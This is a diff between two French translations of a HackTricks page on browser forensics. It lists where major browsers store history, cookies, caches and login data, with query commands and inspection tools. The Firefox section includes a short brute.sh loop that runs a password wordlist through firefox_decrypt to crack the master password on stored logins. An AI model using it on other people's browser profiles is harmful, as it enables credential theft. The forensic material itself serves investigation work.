* 7: Fichier téléchargé
|
* 7 : Fichier téléchargé
|
||||||
* 8: L'utilisateur a suivi un lien dans un Iframe
|
* 8 : L'utilisateur a suivi un lien à l'intérieur d'un Iframe
|
||||||
* Requête pour extraire les téléchargements : `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;`
|
* Requête pour extraire les téléchargements : `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;`
|
||||||
*
|
*
|
||||||
* _**bookmarkbackups/**_ : Sauvegardes des favoris
|
* _**bookmarkbackups/**_ : Sauvegardes des favoris
|
||||||
* _**formhistory.sqlite**_ : **Données de formulaire web** (comme les emails)
|
* _**formhistory.sqlite**_ : **Données de formulaire Web** (comme les e-mails)
|
||||||
* _**handlers.json**_ : Gestionnaires de protocole (comme, quelle application va gérer le protocole _mailto://_)
|
* _**handlers.json**_ : Gestionnaires de protocole (par exemple, quelle application va gérer le protocole _mailto://_)
|
||||||
* _**persdict.dat**_ : Mots ajoutés au dictionnaire
|
* _**persdict.dat**_ : Mots ajoutés au dictionnaire
|
||||||
* _**addons.json**_ et \_**extensions.sqlite** \_ : Addons et extensions installés
|
* _**addons.json**_ et \_**extensions.sqlite** \_ : Modules complémentaires et extensions installés
|
||||||
* _**cookies.sqlite**_ : Contient **les cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) peut être utilisé sous Windows pour inspecter ce fichier.
|
* _**cookies.sqlite**_ : Contient les **cookies**. [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) peut être utilisé sous Windows pour inspecter ce fichier.
|
||||||
* _**cache2/entries**_ ou _**startupCache**_ : Données en cache (\~350MB). Des astuces comme le **data carving** peuvent également être utilisées pour obtenir les fichiers sauvegardés dans le cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) peut être utilisé pour voir les **fichiers sauvegardés dans le cache**.
|
* _**cache2/entries**_ ou _**startupCache**_ : Données de cache (\~350 Mo). Des astuces comme le **carving de données** peuvent également être utilisées pour obtenir les fichiers enregistrés dans le cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) peut être utilisé pour voir les **fichiers enregistrés dans le cache**.
|
||||||
|
|
||||||
Informations qui peuvent être obtenues :
|
Informations pouvant être obtenues :
|
||||||
|
|
||||||
* URL, nombre de récupérations, nom de fichier, type de contenu, taille de fichier, heure de dernière modification, heure de dernière récupération, dernière modification du serveur, réponse du serveur
|
* URL, nombre de requêtes, nom de fichier, type de contenu, taille du fichier, heure de dernière modification, heure de dernière requête, dernière modification du serveur, réponse du serveur
|
||||||
* _**favicons.sqlite**_ : Favicons
|
* _**favicons.sqlite**_ : Favicons
|
||||||
* _**prefs.js**_ : Paramètres et préférences
|
* _**prefs.js**_ : Paramètres et préférences
|
||||||
* _**downloads.sqlite**_ : Ancienne base de données de téléchargements (maintenant c'est dans places.sqlite)
|
* _**downloads.sqlite**_ : Ancienne base de données de téléchargements (maintenant elle est à l'intérieur de places.sqlite)
|
||||||
* _**thumbnails/**_ : Miniatures
|
* _**thumbnails/**_ : Miniatures
|
||||||
* _**logins.json**_ : Noms d'utilisateur et mots de passe chiffrés
|
* _**logins.json**_ : Noms d'utilisateur et mots de passe chiffrés
|
||||||
* **Anti-phishing intégré au navigateur :** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
|
* **Antiphishing intégré du navigateur :** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
|
||||||
* Retournera "safebrowsing.malware.enabled" et "phishing.enabled" comme faux si les paramètres de recherche sécurisée ont été désactivés
|
* Renvoie "safebrowsing.malware.enabled" et "phishing.enabled" comme faux si les paramètres de recherche sécurisée ont été désactivés
|
||||||
* _**key4.db**_ ou _**key3.db**_ : Clé principale ?
|
* _**key4.db**_ ou _**key3.db**_ : Clé maîtresse ?
|
||||||
|
|
||||||
Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||||
Avec le script suivant et l'appel, vous pouvez spécifier un fichier de mots de passe pour forcer le brute force :
|
Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe pour la force brute :
|
||||||
|
|
||||||
{% code title="brute.sh" %}
|
{% code title="brute.sh" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -100,77 +100,76 @@ echo "Trying $pass"
|
||||||
echo "$pass" | python firefox_decrypt.py
|
echo "$pass" | python firefox_decrypt.py
|
||||||
done < $passfile
|
done < $passfile
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (417).png>)
|
![](<../../../.gitbook/assets/image (417).png>)
|
||||||
|
|
||||||
## Google Chrome
|
## Google Chrome
|
||||||
|
|
||||||
Google Chrome crée le profil dans le répertoire personnel de l'utilisateur _**\~/.config/google-chrome/**_ (Linux), dans _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou dans _**/Users/$USER/Library/Application Support/Google/Chrome/**_ (MacOS).
|
Google Chrome crée le profil à l'intérieur du répertoire de l'utilisateur _**\~/.config/google-chrome/**_ (Linux), dans _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou dans \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS).\
|
||||||
La plupart des informations seront sauvegardées dans les dossiers _**Default/**_ ou _**ChromeDefaultData/**_ dans les chemins indiqués précédemment. Vous pouvez y trouver les fichiers intéressants suivants :
|
La plupart des informations seront enregistrées à l'intérieur des dossiers _**Default/**_ ou _**ChromeDefaultData/**_ dans les chemins indiqués précédemment. Vous pouvez trouver les fichiers intéressants suivants ici :
|
||||||
|
|
||||||
* _**History**_ : URLs, téléchargements et même mots-clés recherchés. Sous Windows, vous pouvez utiliser l'outil [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) pour lire l'historique. La colonne "Type de Transition" signifie :
|
* _**History**_: URLs, téléchargements et même mots-clés recherchés. Sous Windows, vous pouvez utiliser l'outil [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) pour lire l'historique. La colonne "Type de transition" signifie :
|
||||||
* Link : L'utilisateur a cliqué sur un lien
|
* Lien : L'utilisateur a cliqué sur un lien
|
||||||
* Typed : L'URL a été saisie
|
* Saisi : L'URL a été écrite
|
||||||
* Auto Bookmark
|
* Signet automatique
|
||||||
* Auto Subframe : Ajout
|
* Sous-cadre automatique : Ajouter
|
||||||
* Start page : Page d'accueil
|
* Page de démarrage : Page d'accueil
|
||||||
* Form Submit : Un formulaire a été rempli et envoyé
|
* Soumettre un formulaire : Un formulaire a été rempli et envoyé
|
||||||
* Reloaded
|
* Rechargé
|
||||||
* _**Cookies**_ : Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) peut être utilisé pour inspecter les cookies.
|
* _**Cookies**_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) peut être utilisé pour inspecter les cookies.
|
||||||
* _**Cache**_ : Cache. Sous Windows, vous pouvez utiliser l'outil [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) pour inspecter le cache.
|
* _**Cache**_: Cache. Sous Windows, vous pouvez utiliser l'outil [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) pour inspecter le cache.
|
||||||
* _**Bookmarks**_ : Favoris
|
* _**Signets**_: Signets
|
||||||
* _**Web Data**_ : Historique des formulaires
|
* _**Données Web**_: Historique des formulaires
|
||||||
* _**Favicons**_ : Favicons
|
* _**Favicons**_: Favicons
|
||||||
* _**Login Data**_ : Informations de connexion (noms d'utilisateur, mots de passe...)
|
* _**Données de connexion**_: Informations de connexion (noms d'utilisateur, mots de passe...)
|
||||||
* _**Current Session**_ et _**Current Tabs**_ : Données de la session actuelle et onglets actuels
|
* _**Session actuelle**_ et _**Onglets actuels**_: Données de session actuelle et onglets actuels
|
||||||
* _**Last Session**_ et _**Last Tabs**_ : Ces fichiers contiennent les sites qui étaient actifs dans le navigateur lorsque Chrome a été fermé pour la dernière fois.
|
* _**Dernière session**_ et _**Derniers onglets**_: Ces fichiers contiennent les sites qui étaient actifs dans le navigateur lorsque Chrome a été fermé pour la dernière fois.
|
||||||
* _**Extensions**_ : Dossier des extensions et addons
|
* _**Extensions**_: Dossier des extensions et des modules complémentaires
|
||||||
* **Thumbnails** : Miniatures
|
* **Vignettes** : Vignettes
|
||||||
* **Preferences** : Ce fichier contient une multitude de bonnes informations telles que les plugins, les extensions, les sites utilisant la géolocalisation, les popups, les notifications, le préchargement DNS, les exceptions de certificat, et bien plus encore. Si vous essayez de rechercher si un paramètre Chrome spécifique était activé, vous trouverez probablement ce paramètre ici.
|
* **Préférences** : Ce fichier contient une multitude d'informations utiles telles que les plugins, les extensions, les sites utilisant la géolocalisation, les popups, les notifications, le prefetching DNS, les exceptions de certificat, et bien plus encore. Si vous essayez de vérifier si un paramètre spécifique de Chrome était activé, vous le trouverez probablement dans ce fichier.
|
||||||
* **Protection anti-hameçonnage intégrée au navigateur :** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`
|
* **Anti-hameçonnage intégré du navigateur :** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`
|
||||||
* Vous pouvez simplement rechercher "**safebrowsing**" et chercher `{"enabled: true,"}` dans le résultat pour indiquer que la protection anti-hameçonnage et contre les logiciels malveillants est activée.
|
* Vous pouvez simplement rechercher "safebrowsing" et chercher `{"enabled: true,"}` dans le résultat pour indiquer que la protection contre le hameçonnage et les logiciels malveillants est activée.
|
||||||
|
|
||||||
## **Récupération de données SQLite DB**
|
## **Récupération de données de base de données SQLite**
|
||||||
|
|
||||||
Comme vous pouvez le constater dans les sections précédentes, Chrome et Firefox utilisent tous deux des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées en utilisant l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox utilisent tous deux des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées en utilisant l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||||
|
|
||||||
## **Internet Explorer 11**
|
## **Internet Explorer 11**
|
||||||
|
|
||||||
Internet Explorer stocke les **données** et les **métadonnées** dans différents emplacements. Les métadonnées permettront de trouver les données.
|
Internet Explorer stocke **des données** et **des métadonnées** à différents emplacements. Les métadonnées permettront de trouver les données.
|
||||||
|
|
||||||
Les **métadonnées** peuvent être trouvées dans le dossier `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` où VX peut être V01, V16 ou V24.
|
Les **métadonnées** peuvent être trouvées dans le dossier `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` où VX peut être V01, V16 ou V24.\
|
||||||
Dans le dossier précédent, vous pouvez également trouver le fichier V01.log. Si le **temps modifié** de ce fichier et du fichier WebcacheVX.data **sont différents**, vous devrez peut-être exécuter la commande `esentutl /r V01 /d` pour **corriger** d'éventuelles **incompatibilités**.
|
Dans le dossier précédent, vous pouvez également trouver le fichier V01.log. Si l'**heure de modification** de ce fichier et du fichier WebcacheVX.data **sont différentes**, vous devrez peut-être exécuter la commande `esentutl /r V01 /d` pour **corriger** d'éventuelles **incompatibilités**.
|
||||||
|
|
||||||
Une fois cet artefact **récupéré** (c'est une base de données ESE, photorec peut la récupérer avec les options Exchange Database ou EDB), vous pouvez utiliser le programme [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) pour l'ouvrir. Une fois **ouvert**, allez à la table nommée "**Containers**".
|
Une fois cet artefact récupéré (il s'agit d'une base de données ESE, photorec peut la récupérer avec les options Base de données Exchange ou EDB), vous pouvez utiliser le programme [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. Une fois **ouvert**, accédez à la table nommée "**Containers**".
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (446).png>)
|
![](<../../../.gitbook/assets/image (446).png>)
|
||||||
|
|
||||||
Dans cette table, vous pouvez trouver dans quelles autres tables ou conteneurs chaque partie des informations stockées est sauvegardée. En suivant cela, vous pouvez trouver les **emplacements des données** stockées par les navigateurs et les **métadonnées** qui sont à l'intérieur.
|
Dans cette table, vous pouvez trouver dans quels autres tables ou conteneurs chaque partie des informations stockées est enregistrée. En suivant cela, vous pouvez trouver les **emplacements des données** stockées par les navigateurs et les **métadonnées** qui s'y trouvent.
|
||||||
|
|
||||||
**Notez que cette table indique également les métadonnées du cache pour d'autres outils Microsoft (par exemple, skype)**
|
**Notez que cette table indique les métadonnées du cache pour d'autres outils Microsoft également (par exemple, skype)**
|
||||||
|
|
||||||
### Cache
|
### Cache
|
||||||
|
|
||||||
Vous pouvez utiliser l'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) pour inspecter le cache. Vous devez indiquer le dossier où vous avez extrait les données du cache.
|
Vous pouvez utiliser l'outil [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) pour inspecter le cache. Vous devez indiquer le dossier où vous avez extrait les données du cache.
|
||||||
|
|
||||||
#### Métadonnées
|
#### Métadonnées
|
||||||
|
|
||||||
Les informations de métadonnées sur le cache stockent :
|
Les informations de métadonnées sur le cache stockent :
|
||||||
|
|
||||||
* Nom de fichier sur le disque
|
* Nom de fichier sur le disque
|
||||||
* SecureDIrectory : Emplacement du fichier dans les répertoires de cache
|
* SecureDIrectory : Emplacement du fichier à l'intérieur des répertoires de cache
|
||||||
* AccessCount : Nombre de fois qu'il a été enregistré dans le cache
|
* AccessCount : Nombre de fois où il a été enregistré dans le cache
|
||||||
* URL : L'origine de l'URL
|
* URL : L'origine de l'URL
|
||||||
* CreationTime : Première fois qu'il a été mis en cache
|
* CreationTime : Première fois qu'il a été mis en cache
|
||||||
* AccessedTime : Moment où le cache a été utilisé
|
* AccessedTime : Moment où le cache a été utilisé
|
||||||
* ModifiedTime : Dernière version de la page Web
|
* ModifiedTime : Dernière version de la page web
|
||||||
* ExpiryTime : Moment où le cache expirera
|
* ExpiryTime : Moment où le cache expirera
|
||||||
|
|
||||||
#### Fichiers
|
#### Fichiers
|
||||||
|
|
||||||
Les informations du cache peuvent être trouvées dans _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ et _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_
|
Les informations de cache peuvent être trouvées dans _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ et _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_
|
||||||
|
|
||||||
Les informations à l'intérieur de ces dossiers sont un **instantané de ce que l'utilisateur voyait**. Les caches ont une taille de **250 Mo** et les horodatages indiquent quand la page a été visitée (première fois, date de création du NTFS, dernière fois, heure de modification du NTFS).
|
Les informations à l'intérieur de ces dossiers sont un **instantané de ce que l'utilisateur voyait**. Les caches ont une taille de **250 Mo** et les horodatages indiquent quand la page a été visitée (première fois, date de création du NTFS, dernière fois, heure de modification du NTFS).
|
||||||
|
|
||||||
|
@ -180,15 +179,15 @@ Vous pouvez utiliser l'outil [IECookiesView](https://www.nirsoft.net/utils/iecoo
|
||||||
|
|
||||||
#### **Métadonnées**
|
#### **Métadonnées**
|
||||||
|
|
||||||
Les informations de métadonnées sur les cookies stockés :
|
Les informations de métadonnées sur les cookies stockées :
|
||||||
|
|
||||||
* Nom du cookie dans le système de fichiers
|
* Nom du cookie dans le système de fichiers
|
||||||
* URL
|
* URL
|
||||||
* AccessCount : Nombre de fois que les cookies ont été envoyés au serveur
|
* AccessCount : Nombre de fois où les cookies ont été envoyés au serveur
|
||||||
* CreationTime : Première fois que le cookie a été créé
|
* CreationTime : Première fois que le cookie a été créé
|
||||||
* ModifiedTime : Dernière fois que le cookie a été modifié
|
* ModifiedTime : Dernière fois que le cookie a été modifié
|
||||||
* AccessedTime : Dernière fois que le cookie a été accédé
|
* AccessedTime : Dernière fois que le cookie a été consulté
|
||||||
* ExpiryTime : Moment d'expiration du cookie
|
* ExpiryTime : Heure d'expiration du cookie
|
||||||
|
|
||||||
#### Fichiers
|
#### Fichiers
|
||||||
|
|
||||||
|
@ -200,11 +199,11 @@ Les cookies de session résideront en mémoire et les cookies persistants sur le
|
||||||
|
|
||||||
#### **Métadonnées**
|
#### **Métadonnées**
|
||||||
|
|
||||||
En vérifiant l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), vous pouvez trouver le conteneur avec les métadonnées des téléchargements :
|
En consultant l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), vous pouvez trouver le conteneur avec les métadonnées des téléchargements :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (445).png>)
|
![](<../../../.gitbook/assets/image (445).png>)
|
||||||
|
|
||||||
En obtenant les informations de la colonne "ResponseHeaders", vous pouvez transformer ces informations hexadécimales et obtenir l'URL, le type de fichier et l'emplacement du fichier téléchargé.
|
En obtenant les informations de la colonne "ResponseHeaders", vous pouvez transformer cette information en hexadécimal et obtenir l'URL, le type de fichier et l'emplacement du fichier téléchargé.
|
||||||
|
|
||||||
#### Fichiers
|
#### Fichiers
|
||||||
|
|
||||||
|
@ -212,36 +211,36 @@ Cherchez dans le chemin _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDow
|
||||||
|
|
||||||
### **Historique**
|
### **Historique**
|
||||||
|
|
||||||
L'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé pour lire l'historique. Mais d'abord, vous devez indiquer le navigateur dans les options avancées et l'emplacement des fichiers d'historique extraits.
|
L'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé pour lire l'historique. Mais d'abord, vous devez indiquer le navigateur dans les options avancées et l'emplacement des fichiers d'historique extraits.
|
||||||
|
|
||||||
#### **Métadonnées**
|
#### **Métadonnées**
|
||||||
|
|
||||||
* ModifiedTime : Première fois qu'une URL est trouvée
|
* ModifiedTime : Première fois qu'une URL est trouvée
|
||||||
* AccessedTime : Dernière fois
|
* AccessedTime : Dernière fois
|
||||||
* AccessCount : Nombre de fois accédé
|
* AccessCount : Nombre de fois consulté
|
||||||
|
|
||||||
#### **Fichiers**
|
#### **Fichiers**
|
||||||
|
|
||||||
Cherchez dans _**%userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ et _**%userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_
|
Recherchez dans _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ et _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_
|
||||||
|
|
||||||
### **URLs tapées**
|
### **URLs saisies**
|
||||||
|
|
||||||
Cette information peut être trouvée dans le registre NTDUSER.DAT dans le chemin :
|
Ces informations peuvent être trouvées dans le registre NTDUSER.DAT dans le chemin :
|
||||||
|
|
||||||
* _**Software\Microsoft\InternetExplorer\TypedURLs**_
|
* _**Software\Microsoft\InternetExplorer\TypedURLs**_
|
||||||
* Stocke les 50 dernières URLs saisies par l'utilisateur
|
* Stocke les 50 dernières URL saisies par l'utilisateur
|
||||||
* _**Software\Microsoft\InternetExplorer\TypedURLsTime**_
|
* _**Software\Microsoft\InternetExplorer\TypedURLsTime**_
|
||||||
* dernière fois que l'URL a été saisie
|
* Dernière fois que l'URL a été saisie
|
||||||
|
|
||||||
## Microsoft Edge
|
## Microsoft Edge
|
||||||
|
|
||||||
Pour analyser les artefacts de Microsoft Edge, toutes les **explications sur le cache et les emplacements de la section précédente (IE 11) restent valables** avec la seule différence que l'emplacement de base, dans ce cas, est _**%userprofile%\Appdata\Local\Packages**_ (comme on peut le voir dans les chemins suivants) :
|
Pour analyser les artefacts de Microsoft Edge, toutes les **explications sur le cache et les emplacements de la section précédente (IE 11) restent valables** avec la seule différence que l'emplacement de base, dans ce cas, est _**%userprofile%\Appdata\Local\Packages**_ (comme on peut l'observer dans les chemins suivants) :
|
||||||
|
|
||||||
* Chemin du profil : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC**_
|
* Chemin du profil : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_
|
||||||
* Historique, Cookies et Téléchargements : _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_
|
* Historique, Cookies et Téléchargements : _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_
|
||||||
* Paramètres, Favoris et Liste de lecture : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_
|
* Paramètres, Signets et Liste de lecture : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_
|
||||||
* Cache : _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache**_
|
* Cache : _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_
|
||||||
* Dernières sessions actives : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_
|
* Dernières sessions actives : _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_
|
||||||
|
|
||||||
## **Safari**
|
## **Safari**
|
||||||
|
|
||||||
|
@ -250,32 +249,32 @@ Les bases de données peuvent être trouvées dans `/Users/$User/Library/Safari`
|
||||||
* **History.db** : Les tables `history_visits` _et_ `history_items` contiennent des informations sur l'historique et les horodatages.
|
* **History.db** : Les tables `history_visits` _et_ `history_items` contiennent des informations sur l'historique et les horodatages.
|
||||||
* `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"`
|
* `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"`
|
||||||
* **Downloads.plist** : Contient les informations sur les fichiers téléchargés.
|
* **Downloads.plist** : Contient les informations sur les fichiers téléchargés.
|
||||||
* **Bookmarks.plist** : URLs des favoris.
|
* **Book-marks.plist** : URLs mises en signet.
|
||||||
* **TopSites.plist** : Liste des sites Web les plus visités que l'utilisateur consulte.
|
* **TopSites.plist** : Liste des sites les plus visités par l'utilisateur.
|
||||||
* **Extensions.plist** : Pour récupérer une ancienne liste d'extensions de navigateur Safari.
|
* **Extensions.plist** : Pour récupérer une liste d'ancien style des extensions du navigateur Safari.
|
||||||
* `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case`
|
* `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case`
|
||||||
* `pluginkit -mDvvv -p com.apple.Safari.extension`
|
* `pluginkit -mDvvv -p com.apple.Safari.extension`
|
||||||
* **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications.
|
* **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications push.
|
||||||
* `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'`
|
* `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'`
|
||||||
* **LastSession.plist** : Onglets qui étaient ouverts la dernière fois que l'utilisateur a quitté Safari.
|
* **LastSession.plist** : Onglets ouverts la dernière fois que l'utilisateur a quitté Safari.
|
||||||
* `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate`
|
* `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate`
|
||||||
* **Protection anti-hameçonnage intégrée au navigateur :** `defaults read com.apple.Safari WarnAboutFraudulentWebsites`
|
* **Anti-hameçonnage intégré du navigateur :** `defaults read com.apple.Safari WarnAboutFraudulentWebsites`
|
||||||
* La réponse devrait être 1 pour indiquer que le paramètre est actif
|
* La réponse devrait être 1 pour indiquer que le paramètre est actif
|
||||||
|
|
||||||
## Opera
|
## Opera
|
||||||
|
|
||||||
Les bases de données peuvent être trouvées dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera`
|
Les bases de données peuvent être trouvées dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera`
|
||||||
|
|
||||||
Opera **stocke l'historique du navigateur et les données de téléchargement exactement dans le même format que Google Chrome**. Cela s'applique aux noms de fichiers ainsi qu'aux noms des tables.
|
Opera **stocke l'historique du navigateur et les données de téléchargement dans le même format que Google Chrome**. Cela s'applique également aux noms de fichiers ainsi qu'aux noms de table.
|
||||||
|
|
||||||
* **Protection anti-hameçonnage intégrée au navigateur :** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
|
* **Anti-hameçonnage intégré du navigateur :** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
|
||||||
* **fraud_protection_enabled** devrait être **true**
|
* **fraud\_protection\_enabled** devrait être **true**
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires **les plus avancés**.
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -283,13 +282,12 @@ Obtenez l'accès aujourd'hui :
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -1,19 +1,19 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
